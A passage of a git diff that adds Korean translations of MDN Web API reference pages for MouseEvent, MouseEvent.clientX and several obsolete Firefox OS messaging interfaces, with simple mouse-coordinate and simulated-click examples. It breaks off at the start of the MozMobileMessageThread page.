new file mode 100644
index 0000000000..5806a312da
--- /dev/null
+++ b/files/ko/web/api/mouseevent/clientx/index.html
@@ -0,0 +1,82 @@
+---
+title: MouseEvent.clientX
+slug: Web/API/MouseEvent/clientX
+translation_of: Web/API/MouseEvent/clientX
+---
+<div>{{{APIRef("DOM 이벤트")}}<br>
+{{domxref("MouseEvent")}}} 인터페이스의 clientX 읽기 전용 속성은 이벤트가 발생한 애플리케이션 {{glossary("viewport")}}}} 내에 수평 좌표를 제공한다(페이지 내의 좌표와는 반대).<br>
+<br>
+예를 들어 뷰포트의 왼쪽 가장자리를 클릭하면 페이지가 수평으로 스크롤되는지 여부에 관계없이 항상 clientX 값이 0인 마우스 이벤트가 발생한다.</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox notranslate">var <em>x</em> = <em>instanceOfMouseEvent</em>.clientX
+</pre>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>CSSOM 뷰 모듈에 의해 재정의된 이중 부동 소수점 값. 원래 이 속성은 긴 정수로 정의되었다. 자세한 내용은 "브라우저 호환성" 섹션을 참조하십시오.</p>
+
+<h2 id="Example">Example</h2>
+
+<p>이 예에서는 {{Event("mousemove")}}} 이벤트를 트리거할 때마다 마우스 좌표를 표시한다.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;p&gt;위치를 보려면 마우스를 이동하십시오..&lt;/p&gt;
+&lt;p id="screen-log"&gt;&lt;/p&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js notranslate">let screenLog = document.querySelector('#screen-log');
+document.addEventListener('mousemove', logKey);
+
+function logKey(e) {
+ screenLog.innerText = `
+ Screen X/Y: ${e.screenX}, ${e.screenY}
+ Client X/Y: ${e.clientX}, ${e.clientY}`;
+}</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample("Example")}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSSOM View','#dom-mouseevent-clientx', 'clientX')}}</td>
+ <td>{{Spec2('CSSOM View')}}</td>
+ <td>Redefines {{domxref("MouseEvent")}} from <code>long</code> to <code>double</code>.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM3 Events','#widl-MouseEvent-clientX','MouseEvent.clientX')}}</td>
+ <td>{{Spec2('DOM3 Events')}}</td>
+ <td>No change from {{SpecName('DOM2 Events')}}.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM2 Events','#Events-MouseEvent','MouseEvent.clientX')}}</td>
+ <td>{{Spec2('DOM2 Events')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">이 페이지의 호환성 표는 구조화된 데이터에서 생성된다. 만약 당신이 데이터에 기여하고 싶다면, https://github.com/mdn/browser-compat-data을 확인하여 pull request 를 보내주십시오.<br>
+{{호환("api')MouseEvent.clientX")}}</div>
+
+<h2 id="참고_항목">참고 항목</h2>
+
+<ul>
+ <li>{{ domxref("MouseEvent") }}</li>
+ <li>{{domxref("MouseEvent.clientY","clientY")}}</li>
+ <li>{{domxref("MouseEvent.screenX","screenX")}} / {{domxref("MouseEvent.screenY","screenY")}}</li>
+</ul>
diff --git a/files/ko/web/api/mouseevent/index.html b/files/ko/web/api/mouseevent/index.html
new file mode 100644
index 0000000000..384dae2ff5
--- /dev/null
+++ b/files/ko/web/api/mouseevent/index.html
@@ -0,0 +1,188 @@
+---
+title: MouseEvent
+slug: Web/API/MouseEvent
+translation_of: Web/API/MouseEvent
+---
+<div>{{APIRef("DOM Events")}}</div>
+
+<p><code><strong>MouseEvent</strong></code> 인터페이스는 특정 지점을 가리키는 장치를 통해 발생하는 이벤트를 의미한다 (마우스 등). 주로 사용되는 이벤트로는 {{event("click")}}, {{event("dblclick")}}, {{event("mouseup")}}, {{event("mousedown")}}가 있다.</p>
+
+<p><code>MouseEvent</code> 는 {{domxref("UIEvent")}}에서, {{domxref("UIEvent")}}는 {{domxref("Event")}}에서 파생되었다. <code>MouseEvent</code> 객체(object)를 생성하고자 할 때에는 {{domxref("MouseEvent.MouseEvent", "MouseEvent()")}} 생성자(constructor)를 사용해야 한다. {{domxref("MouseEvent.initMouseEvent()")}} 메서드는 하위호환성을 위해 유지된다.</p>
+
+<p>{{domxref("WheelEvent")}}, {{domxref("DragEvent")}} 등 특정 이벤트는 <code>MouseEvent</code>를 기반으로 한다.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("MouseEvent.MouseEvent", "MouseEvent()")}}</dt>
+ <dd>Creates a <code>MouseEvent</code> object.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>This interface also inherits properties of its parents, {{domxref("UIEvent")}} and {{domxref("Event")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("MouseEvent.altKey")}} {{readonlyinline}}</dt>
+ <dd>Returns <code>true</code> if the <kbd>alt</kbd> key was down when the mouse event was fired.</dd>
+ <dt>{{domxref("MouseEvent.button")}} {{readonlyinline}}</dt>
+ <dd>The button number that was pressed (if applicable) when the mouse event was fired.</dd>
+ <dt>{{domxref("MouseEvent.buttons")}} {{readonlyinline}} {{gecko_minversion_inline("15.0")}}</dt>
+ <dd>The buttons being depressed (if any) when the mouse event was fired.</dd>
+ <dt>{{domxref("MouseEvent.clientX")}} {{readonlyinline}}</dt>
+ <dd>The X coordinate of the mouse pointer in local (DOM content) coordinates.</dd>
+ <dt>{{domxref("MouseEvent.clientY")}} {{readonlyinline}}</dt>
+ <dd>The Y coordinate of the mouse pointer in local (DOM content) coordinates.</dd>
+ <dt>{{domxref("MouseEvent.ctrlKey")}} {{readonlyinline}}</dt>
+ <dd>Returns <code>true</code> if the <kbd>control</kbd> key was down when the mouse event was fired.</dd>
+ <dt>{{domxref("MouseEvent.metaKey")}} {{readonlyinline}}</dt>
+ <dd>Returns <code>true</code> if the <kbd>meta</kbd> key was down when the mouse event was fired.</dd>
+ <dt>{{domxref("MouseEvent.movementX")}} {{readonlyinline}}</dt>
+ <dd>The X coordinate of the mouse pointer relative to the position of the last {{event("mousemove")}} event.</dd>
+ <dt>{{domxref("MouseEvent.movementY")}} {{readonlyinline}}</dt>
+ <dd>The Y coordinate of the mouse pointer relative to the position of the last {{event("mousemove")}} event.</dd>
+ <dt>{{domxref("MouseEvent.offsetX")}} {{readonlyinline}}{{experimental_inline}}</dt>
+ <dd>The X coordinate of the mouse pointer relative to the position of the padding edge of the target node.</dd>
+ <dt>{{domxref("MouseEvent.offsetY")}} {{readonlyinline}}{{experimental_inline}}</dt>
+ <dd>The Y coordinate of the mouse pointer relative to the position of the padding edge of the target node.</dd>
+ <dt>{{domxref("MouseEvent.pageX")}} {{readonlyinline}}{{experimental_inline}}</dt>
+ <dd>The X coordinate of the mouse pointer relative to the whole document.</dd>
+ <dt>{{domxref("MouseEvent.pageY")}} {{readonlyinline}}{{experimental_inline}}</dt>
+ <dd>The Y coordinate of the mouse pointer relative to the whole document.</dd>
+ <dt>{{domxref("MouseEvent.region")}} {{readonlyinline}}</dt>
+ <dd>Returns the id of the hit region affected by the event. If no hit region is affected, <code>null</code> is returned.</dd>
+ <dt>{{domxref("MouseEvent.relatedTarget")}} {{readonlyinline}}</dt>
+ <dd>
+ <p>The secondary target for the event, if there is one.</p>
+ </dd>
+ <dt>{{domxref("MouseEvent.screenX")}} {{readonlyinline}}</dt>
+ <dd>The X coordinate of the mouse pointer in global (screen) coordinates.</dd>
+ <dt>{{domxref("MouseEvent.screenY")}} {{readonlyinline}}</dt>
+ <dd>The Y coordinate of the mouse pointer in global (screen) coordinates.</dd>
+ <dt>{{domxref("MouseEvent.shiftKey")}} {{readonlyinline}}</dt>
+ <dd>Returns <code>true</code> if the <kbd>shift</kbd> key was down when the mouse event was fired.</dd>
+ <dt>{{domxref("MouseEvent.which")}} {{non-standard_inline}} {{readonlyinline}}</dt>
+ <dd>The button being pressed when the mouse event was fired.</dd>
+ <dt>{{domxref("MouseEvent.mozPressure")}} {{non-standard_inline()}} {{deprecated_inline}} {{readonlyinline}}</dt>
+ <dd>The amount of pressure applied to a touch or tablet device when generating the event; this value ranges between <code>0.0</code> (minimum pressure) and <code>1.0</code> (maximum pressure). Instead of using this deprecated (and non-standard) property, you should instead use {{domxref("PointerEvent")}} and look at its {{domxref("PointerEvent.pressure", "pressure")}} property.</dd>
+ <dt>{{domxref("MouseEvent.mozInputSource")}} {{non-standard_inline()}} {{readonlyinline}}</dt>
+ <dd>The type of device that generated the event (one of the <code>MOZ_SOURCE_*</code> constants listed below). This lets you, for example, determine whether a mouse event was generated by an actual mouse or by a touch event (which might affect the degree of accuracy with which you interpret the coordinates associated with the event).</dd>
+ <dt>{{domxref("MouseEvent.webkitForce")}} {{non-standard_inline()}} {{readonlyinline}}</dt>
+ <dd>The amount of pressure applied when clicking</dd>
+ <dt>{{domxref("MouseEvent.x")}} {{experimental_inline}}{{readonlyinline}}</dt>
+ <dd>Alias for {{domxref("MouseEvent.clientX")}}.</dd>
+ <dt>{{domxref("MouseEvent.y")}} {{experimental_inline}}{{readonlyinline}}</dt>
+ <dd>Alias for {{domxref("MouseEvent.clientY")}}</dd>
+</dl>
+
+<h2 id="Constants">Constants</h2>
+
+<dl>
+ <dt>{{domxref("MouseEvent.WEBKIT_FORCE_AT_MOUSE_DOWN")}} {{non-standard_inline}}{{readonlyinline}}</dt>
+ <dd>Minimum force necessary for a normal click</dd>
+ <dt>{{domxref("MouseEvent.WEBKIT_FORCE_AT_FORCE_MOUSE_DOWN")}} {{non-standard_inline}}{{readonlyinline}}</dt>
+ <dd>Minimum force necessary for a force click</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>This interface also inherits methods of its parents, {{domxref("UIEvent")}} and {{domxref("Event")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("MouseEvent.getModifierState()")}}</dt>
+ <dd>Returns the current state of the specified modifier key. See the {{domxref("KeyboardEvent.getModifierState")}}() for details.</dd>
+ <dt>{{domxref("MouseEvent.initMouseEvent()")}} {{deprecated_inline}}</dt>
+ <dd>Initializes the value of a <code>MouseEvent</code> created. If the event has already being dispatched, this method does nothing.</dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<p>This example demonstrates simulating a click (that is programmatically generating a click event) on a checkbox using DOM methods.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;&lt;label&gt;&lt;input type="checkbox" id="checkbox"&gt; Checked&lt;/label&gt;
+&lt;p&gt;&lt;button id="button"&gt;Click me&lt;/button&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">function simulateClick() {
+ var evt = new <a href="/en-US/docs/Web/API/MouseEvent">MouseEvent</a>("click", {
+ bubbles: true,
+ cancelable: true,
+ view: window
+ });
+ var cb = document.getElementById("checkbox"); //element to click on
+ var canceled = !cb.<a href="/en-US/docs/Web/API/EventTarget.dispatchEvent" rel="internal">dispatchEvent</a>(evt);
+ if(canceled) {
+ // A handler called preventDefault
+ alert("canceled");
+ } else {
+ // None of the handlers called preventDefault
+ alert("not canceled");
+ }
+}
+document.getElementById("button").addEventListener('click', simulateClick);</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample('Example')}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSSOM View','#extensions-to-the-mouseevent-interface', 'MouseEvent')}}</td>
+ <td>{{Spec2('CSSOM View')}}</td>
+ <td>Redefines <code>MouseEvent</code> from long to double. This means that a <code>PointerEvent</code> whose <code>pointerType</code> is mouse will be a double.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('Pointer Lock','#extensions-to-the-mouseevent-interface','MouseEvent')}}</td>
+ <td>{{Spec2('Pointer Lock')}}</td>
+ <td>From {{SpecName('DOM3 Events')}}, added <code>movementX</code> and <code>movementY</code> properties.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSSOM View', '#extensions-to-the-mouseevent-interface', 'MouseEvent')}}</td>
+ <td>{{Spec2('CSSOM View')}}</td>
+ <td>From {{SpecName('DOM3 Events')}}, added <code>offsetX</code> and <code>offsetY</code>, <code>pageX</code> and <code>pageY</code>, <code>x</code>, and <code>y</code> properties. Redefined screen, page, client, and coordinate (x and y) properties as <code>double</code> from <code>long</code>.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('UI Events', '#interface-mouseevent', 'MouseEvent')}}</td>
+ <td>{{Spec2('UI Events')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM3 Events','#events-mouseevents','MouseEvent')}}</td>
+ <td>{{Spec2('DOM3 Events')}}</td>
+ <td>From {{SpecName('DOM2 Events')}}, added the <code>MouseEvent()</code> constructor, the <code>getModifierState()</code> method and the <code>buttons</code> property.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM2 Events','#Events-MouseEvent','MouseEvent')}}</td>
+ <td>{{Spec2('DOM2 Events')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.MouseEvent")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Its direct parent, {{domxref("UIEvent")}}.</li>
+ <li>{{domxref("PointerEvent")}}: For advanced pointer events, including multi-touch</li>
+</ul>
diff --git a/files/ko/web/api/mozmmsevent/index.html b/files/ko/web/api/mozmmsevent/index.html
new file mode 100644
index 0000000000..6a3975d40b
--- /dev/null
+++ b/files/ko/web/api/mozmmsevent/index.html
@@ -0,0 +1,82 @@
+---
+title: MozMmsEvent
+slug: Web/API/MozMmsEvent
+tags:
+ - Firefox OS
+ - Mobile
+ - Non-standard
+ - Obsolete
+ - Reference
+ - WebSMS
+translation_of: Archive/B2G_OS/API/MozMmsEvent
+---
+<p>{{ Apiref() }}</p>
+
+<div class="warning">
+<p style="text-align: center;">This API is available on <a href="/en-US/docs/Mozilla/Firefox_OS">Firefox OS</a> for <a href="/en-US/docs/Mozilla/Firefox_OS/Security/Application_security#App_Types">internal applications</a> only.</p>
+</div>
+
+<h2 id="요약">요약</h2>
+
+<p>DOM <code>MozMmsEvent</code> 는 WebSMS MMS 메시지와 관련된 이벤트 객체이다.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{domxref("MozMmsEvent.message")}} {{readonlyinline}}</dt>
+ <dd>해당 이벤트에 의해 발생된 {{ domxref("MozMmsMessage") }} 이다.</dd>
+</dl>
+
+<p><code>MozM</code><code>msEvent</code> 는 또한 {{domxref("Event")}} 의 속성을 상속받는다.</p>
+
+<p>{{page("/en-US/docs/Web/API/Event","Properties")}}</p>
+
+<h2 id="메소드">메소드</h2>
+
+<p><code>MozMmsEvent</code> 는 {{domxref("Event")}} 의 메소드를 상속받는다.</p>
+
+<p>{{page("/en-US/docs/Web/API/Event","Methods")}}</p>
+
+<h2 id="이벤트">이벤트</h2>
+
+<p><code>MozMmsEvent</code> 는 다음과 같은 이벤트들에 사용된다:</p>
+
+<dl>
+ <dt>{{event("deliverysuccess")}}</dt>
+ <dd>MMS가 수신자에게 전달되었을 때 발생한다.</dd>
+ <dt>{{event("received")}}</dt>
+ <dd>MMS를 받았을 때 발생한다.</dd>
+ <dt>{{event("sent")}}</dt>
+ <dd>MMS를 보냈을 때 발생한다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<p>이 API는 비 표준 스펙의 구현체이다. 그러나 W3C의 <a href="http://www.w3.org/2012/sysapps/" title="http://www.w3.org/2012/sysapps/">System Application Working Group</a>에서 논의되고 있다.</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('Messaging')}}</td>
+ <td>{{Spec2('Messaging')}}</td>
+ <td>Editor Draft (WIP).</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<div id="compat-mobile"> </div>
+
+<ul>
+ <li>{{ domxref("window.navigator.mozSms") }}</li>
+ <li>{{ domxref("MozMobileMessageManager") }}</li>
+ <li>{{ domxref("MozMmsMessage") }}</li>
+</ul>
diff --git a/files/ko/web/api/mozmmsmessage/index.html b/files/ko/web/api/mozmmsmessage/index.html
new file mode 100644
index 0000000000..1d00b8050d
--- /dev/null
+++ b/files/ko/web/api/mozmmsmessage/index.html
@@ -0,0 +1,83 @@
+---
+title: MozMmsMessage
+slug: Web/API/MozMmsMessage
+tags:
+ - Firefox OS
+ - Mobile
+ - Non-standard
+ - Obsolete
+ - Reference
+ - WebSMS
+translation_of: Archive/B2G_OS/API/MozMmsMessage
+---
+<div>{{APIRef("Mobile Messaging API")}}</div>
+
+<div class="warning">
+<p style="text-align: center;">This API is available on <a href="/en-US/docs/Mozilla/Firefox_OS">Firefox OS</a> for <a href="/en-US/docs/Mozilla/Firefox_OS/Security/Application_security#App_Types">internal applications</a> only.</p>
+</div>
+
+<h2 id="요약">요약</h2>
+
+<p>DOM <code>MozMmsMessage</code> 객체는 MMS 메시지를 나타내며 발신자, 수신자, 본문, 첨부 파일, 날짜와 같은 모든 정보를 가지고 있다.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt> </dt>
+ <dt>{{domxref("MozMmsMessage.type")}} {{readonlyinline}}</dt>
+ <dd><code>mms라는 값을 가지는 문자열이다.</code></dd>
+ <dt>{{domxref("MozMmsMessage.id")}} {{readonlyinline}}</dt>
+ <dd>메시지의 id를 나타내는 숫자를 반환한다.</dd>
+ <dt>{{domxref("MozMmsMessage.threadId")}} {{readonlyinline}}</dt>
+ <dd>메시지 일부의 스레드의 id를 나타내는 숫자를 반환한다.</dd>
+ <dt>{{domxref("MozMmsMessage.subject")}} {{readonlyinline}}</dt>
+ <dd>메시지의 제목을 나타내는 {{ domxref("DOMString") }} 을 반환한다.</dd>
+ <dt>{{domxref("MozMmsMessage.smil")}} {{readonlyinline}}</dt>
+ <dd>메시지의 SMIL 콘텐츠를 나타내는 {{ domxref("DOMString") }} 을 반환한다.</dd>
+ <dt>{{domxref("MozMmsMessage.attachments")}} {{readonlyinline}}</dt>
+ <dd>SMIL 콘텐츠에 필요한 첨부 파일을 나타내는 객체의 배열을 반환한다. 이 객체들은 <code>id</code>, <code>location,</code> <code>content</code>(<a href="https://developer.mozilla.org/en-US/docs/Web/API/Blob" title="/en-US/docs/Web/API/Blob"><code>Blob</code></a>)를 포함하고 있다.</dd>
+ <dt>{{domxref("MozMmsMessage.expiryDate")}} {{readonlyinline}}</dt>
+ <dd>MMS를 수동으로 다운로드 받게 되는 만기일을 나타내는 <code><a href="/en/JavaScript/Reference/Global_Objects/Date" title="Date">Date</a></code> 객체를 반환한다.</dd>
+ <dt>{{domxref("MozMmsMessage.delivery")}} {{readonlyinline}}</dt>
+ <dd><code>not-download</code>, <code>received</code>, <code>sending</code>, <code>sent</code>, <code>error</code> 중 하나의 값을 가지게 되는 {{ domxref("DOMString") }} 의 배열을 반환한다.</dd>
+ <dt>{{domxref("MozMmsMessage.deliveryStatus")}} {{readonlyinline}}</dt>
+ <dd><code>delivery</code> 속성 값에 따른 상태를 나타내는 {{ domxref("DOMString") }} 을 반환한다.</dd>
+ <dt>{{domxref("MozMmsMessage.read")}} {{readonlyinline}}</dt>
+ <dd>메시지를 읽었는지 읽지 않았는지를 가리키는 Boolean을 반환한다.</dd>
+ <dt>{{domxref("MozMmsMessage.receivers")}} {{readonlyinline}}</dt>
+ <dd>각 수신자의 이름을 가진 {{ domxref("DOMString") }} 의 배열을 반환한다.</dd>
+ <dt>{{domxref("MozMmsMessage.sender")}} {{readonlyinline}}</dt>
+ <dd>발신자의 이름을 가진 {{ domxref("DOMString") }} 을 반환한다.</dd>
+ <dt>{{domxref("MozMmsMessage.timestamp")}} {{readonlyinline}}</dt>
+ <dd>메시지의 타임스탬프인 <code><a href="/en/JavaScript/Reference/Global_Objects/Date" title="Date">Date</a></code> 객체를 반환한다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<p>이 API는 비 표준 스펙의 구현체이다. 그러나 W3C의 <a href="http://www.w3.org/2012/sysapps/" title="http://www.w3.org/2012/sysapps/">System Application Working Group</a>에서 논의되고 있다.</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('Messaging')}}</td>
+ <td>{{Spec2('Messaging')}}</td>
+ <td>Editor Draft (WIP).</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<div id="compat-mobile"> </div>
+
+<ul>
+ <li>{{ domxref("window.navigator.mozMobileMessage") }}</li>
+ <li>{{ domxref("MozMobileMessageManager") }}</li>
+</ul>
diff --git a/files/ko/web/api/mozmobilemessagemanager/index.html b/files/ko/web/api/mozmobilemessagemanager/index.html
new file mode 100644
index 0000000000..6b301fe71b
--- /dev/null
+++ b/files/ko/web/api/mozmobilemessagemanager/index.html
@@ -0,0 +1,101 @@
+---
+title: MozMobileMessageManager
+slug: Web/API/MozMobileMessageManager
+tags:
+ - Firefox OS
+ - Mobile
+ - Obsolete
+ - Reference
+ - WebSMS
+translation_of: Archive/B2G_OS/API/MozMobileMessageManager
+---
+<div>{{APIRef("Mobile Messaging API")}}</div>
+
+<div class="warning">
+<p style="text-align: center;">This API is available on <a href="/en-US/docs/Mozilla/Firefox_OS">Firefox OS</a> for <a href="/en-US/docs/Mozilla/Firefox_OS/Security/Application_security#App_Types">internal applications</a> only.</p>
+</div>
+
+<h2 id="요약">요약</h2>
+
+<p>기기에서 WebSMS를 사용하여 MMS와 SMS 메시지 전송과 관리를 할 수 있는 기능을 제공한다.</p>
+
+<h2 id="이벤트_핸들러">이벤트 핸들러</h2>
+
+<dl>
+ <dt>{{domxref("MozMobileMessageManager.ondeliveryerror")}}</dt>
+ <dd>{{event("deliveryerror")}} 이벤트에 대한 핸들러; {{ domxref("MozMmsEvent") }} 는 MMS 또는 SMS가 수취인에게 전달되지 않았을 때 발생한다.</dd>
+ <dt>{{domxref("MozMobileMessageManager.ondeliverysuccess")}}</dt>
+ <dd>{{event("deliverysuccess")}} 이벤트에 대한 핸들러; {{ domxref("MozMmsEvent") }} 는 MMS 또는 SMS가 수취인에게 전달되었을 때 발생한다.</dd>
+ <dt>{{domxref("MozMobileMessageManager.onreceived")}}</dt>
+ <dd>{{event("received")}} 이벤트에 대한 핸들러; {{ domxref("MozMmsEvent") }} 는 MMS 또는 SMS를 받았을 때 발생한다.</dd>
+ <dt>{{domxref("MozMobileMessageManager.onretrieving")}}</dt>
+ <dd>{{event("retrieving")}} 이벤트에 대한 핸들러; {{ domxref("MozMmsEvent") }} 는 검색 단계의 시작에 MMS 또는 SMS가 진입했을 때 발생한다.</dd>
+ <dt>{{domxref("MozMobileMessageManager.onsent")}}</dt>
+ <dd>{{event("sent")}} 이벤트에 대한 핸들러; {{ domxref("MozMmsEvent") }} 는 MMS 또는 SMS가 보내졌을 때 발생한다.</dd>
+ <dt>{{domxref("MozMobileMessageManager.onsending")}}</dt>
+ <dd>{{event("sending")}} 이벤트에 대한 핸들러; {{ domxref("MozMmsEvent") }} 는 전송 단계의 시작에 MMS 또는 SMS가 진입했을 때 발생한다.</dd>
+ <dt>{{domxref("MozMobileMessageManager.onfailed")}}</dt>
+ <dd>{{event("failed")}} 이벤트에 대한 핸들러; {{ domxref("MozMmsEvent") }} 는 SMS 전송이 실패했을 때 발생한다.</dd>
+</dl>
+
+<h2 id="메소드">메소드</h2>
+
+<dl>
+ <dt>{{domxref("MozMobileMessageManager.delete","MozMobileMessageManager.delete(param)")}}</dt>
+ <dd>메시지를 삭제하고 {{ domxref("DOMRequest") }} 객체를 반환한다<code> (DOMRequest.result</code>는 메시지가 삭제되었는지 아닌지를 반영하는 Boolean 값이다). 메시지 <code>id</code>, {{ domxref("MozSmsMessage") }} 객체 또는 {{ domxref("MozMmsMessage") }} 객체가 파라미터로 사용된다.</dd>
+ <dt>{{domxref("MozMobileMessageManager.getMessage()","MozSmsManager.getMessage(id)")}}</dt>
+ <dd>해당 <code>id에 대한 메시지를 받아서 </code>{{ domxref("DOMRequest") }} 객체를 반환한다. 이 객체의 <code>DOMRequest.result</code>는 {{ domxref("MozSmsMessage") }} 이다.</dd>
+ <dt>{{domxref("MozMobileMessageManager.getMessages()","MozSmsManager.getMessages(filter, reverseOrder)")}}</dt>
+ <dd>여러 개의 메시지를 받는다. {{ domxref("MozSmsFilter") }} 객체를 사용하여 필터링이 가능하고 두번째 파라미터 Boolean 값에 따라 메시지의 순서를 거꾸로 바꿀 수도 있다. {{ domxref("DOMCursor") }} 를 반환한다.</dd>
+ <dt>{{domxref("MozMobileMessageManager.getSegmentInfoForText()","MozMobileMessageManager.getSegmentInfoForText(text)")}}</dt>
+ <dd>주어진 문자(보통 SMS당 160 글자)에 대한 멀티 파트 SMS를 만들기 위해 필요한 정보를 가진 {{domxref("MozSmsSegmentInfo")}} 객체를 반환한다.</dd>
+ <dt>{{domxref("MozMobileMessageManager.markMessageRead()","MozMobileMessageManager.markMessageRead(id, isRead)")}}</dt>
+ <dd>해당 <code>id</code> 의 메시지를 Boolean <code>isRead</code> 값에 따라 읽음 또는 읽지 않음으로 표시한다. {{ domxref("DOMRequest") }} 객체를 반환한다.</dd>
+ <dt>{{domxref("MozMobileMessageManager.send()","MozMobileMessageManager.send(number, message)")}}</dt>
+ <dd>해당 전화번호에 메시지를 전송한다. 만약 <code>number</code>가 {{ domxref("DOMString") }} (한 개의 전화번호) 라면 {{ domxref("DOMRequest") }} 객체를 반환한다. 만약 <code>number</code>가 {{ domxref("DOMString") }} 객체의 배열(여러 개의 전화번호)이라면 {{ domxref("DOMRequest") }} 객체의 배열을 반환한다.</dd>
+ <dt>{{domxref("MozMobileMessageManager.sendMMS()","MozMobileMessageManager.sendMMS(param)")}}</dt>
+ <dd>수신자 목록에 MMS를 전송한다. {{ domxref("DOMRequest") }} 객체를 반환한다.<br>
+ param 객체는 다음과 같은 4개의 속성을 가지고 있는 일반 JavaScript 객체이다:<br>
+ <code>receivers</code>: 문자열 배열, 각 문자열은 수신자의 전화번호를 나타낸다.<br>
+ <code>subject</code>: MMS의 제목을 나타내는 문자열이다.<br>
+ <code>smil</code>: MMS를 정의하는 SMIL 문서의 문자열 버전이다.<br>
+ <code>attachments</code>: SMIL에 의해 사용되는 첨부 파일 객체의 배열이다. 이 객체는 <code>id</code>, <code>location</code>, <code>content</code> ({{domxref("Blob")}})를 포함하고 있다.</dd>
+ <dt>{{domxref("MozMobileMessageManager.getThreads()")}}</dt>
+ <dd>{{domxref("MozMobileMessageThread")}} 의 목록을 받는다. {{ domxref("DOMCursor") }} 를 반환한다.</dd>
+ <dt>{{domxref("MozMobileMessageManager.retrieveMMS()","MozMobileMessageManager.retrieveMMS(id)")}}</dt>
+ <dd>해당 <code>id의 메시지를 받아 </code>{{ domxref("DOMRequest") }} 를 반환한다. 이 객체의 <code>DOMRequest.result</code> 는 {{ domxref("MozMmsMessage") }} 이다.</dd>
+</dl>
+
+<p><code>MozMobileMessageManager</code> 또한 {{domxref("EventTarget")}} 의 메소드를 상속받는다.</p>
+
+<p>{{Page("/en-US/docs/Web/API/EventTarget","Methods")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<p>이 API는 비 표준 스펙의 구현체이다. 하지만 W3C의 <a href="http://www.w3.org/2012/sysapps/" title="http://www.w3.org/2012/sysapps/">System Application Working Group</a>에서 논의되고 있다.</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('Messaging')}}</td>
+ <td>{{Spec2('Messaging')}}</td>
+ <td>Editor Draft (WIP).</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<div id="compat-mobile"> </div>
+
+<ul>
+ <li>{{ domxref("window.navigator.mozMobileMessage") }}</li>
+ <li>{{ domxref("MozMmsEvent") }}</li>
+</ul>
diff --git a/files/ko/web/api/mozmobilemessagethread/index.html b/files/ko/web/api/mozmobilemessagethread/index.html
new file mode 100644
index 0000000000..4e8e8048a5
--- /dev/null
+++ b/files/ko/web/api/mozmobilemessagethread/index.html
@@ -0,0 +1,40 @@
+---
+title: MozMobileMessageThread
+slug: Web/API/MozMobileMessageThread
+tags:
+ - Non-standard
+translation_of: Archive/B2G_OS/API/MozMobileMessageThread
+---
+<p>{{ ApiRef() }}</p>
+
+<p>{{ non-standard_header() }}</p>
+
+<h2 id="요약">요약</h2>
+
+<p>DOM <code>MozMobileMessageThread</code> 객체는 메시지의 스레드를 나타낸다.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{domxref("MozMobileMessageThread.id")}} {{readonlyinline}}</dt>
